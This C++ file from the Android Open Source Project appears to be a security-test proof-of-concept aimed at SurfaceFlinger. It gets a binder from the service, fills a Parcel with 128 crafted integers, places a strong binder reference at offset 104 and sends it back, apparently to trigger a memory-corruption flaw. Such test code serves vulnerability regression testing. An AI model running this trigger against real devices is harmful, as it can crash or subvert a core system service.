1 /**
2 * Copyright (C) 2020 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 #include <binder/IPCThreadState.h>
18 #include <binder/IServiceManager.h>
19
20 constexpr uint8_t kCount = 128;
21 constexpr size_t kPosition = 104;
22
23 using namespace android;
24
main()25 int main() {
26 sp < IServiceManager > sm = defaultServiceManager();
27 if (!sm) {
28 return EXIT_FAILURE;
29 }
30 String16 name(String16("SurfaceFlinger"));
31 sp < IBinder > service = sm->checkService(name);
32 if (!service) {
33 return EXIT_FAILURE;
34 }
35
36 uint32_t code = 2, flags = 0;
37 Parcel data1, reply1;
38 data1.writeInterfaceToken(service->getInterfaceDescriptor());
39 service->transact(code, data1, &reply1, flags);
40 sp < IBinder > binder = reply1.readStrongBinder();
41 if (!binder) {
42 return EXIT_FAILURE;
43 }
44
45 Parcel data2, reply2;
46 data2.writeInterfaceToken(binder->getInterfaceDescriptor());
47 for (uint8_t n = 0; n < kCount; ++n) {
48 data2.writeInt32(1);
49 }
50 data2.setDataPosition(kPosition);
51 data2.writeStrongBinder(binder);
52 binder->transact(code, data2, &reply2, flags);
53
54 return EXIT_SUCCESS;
55 }
56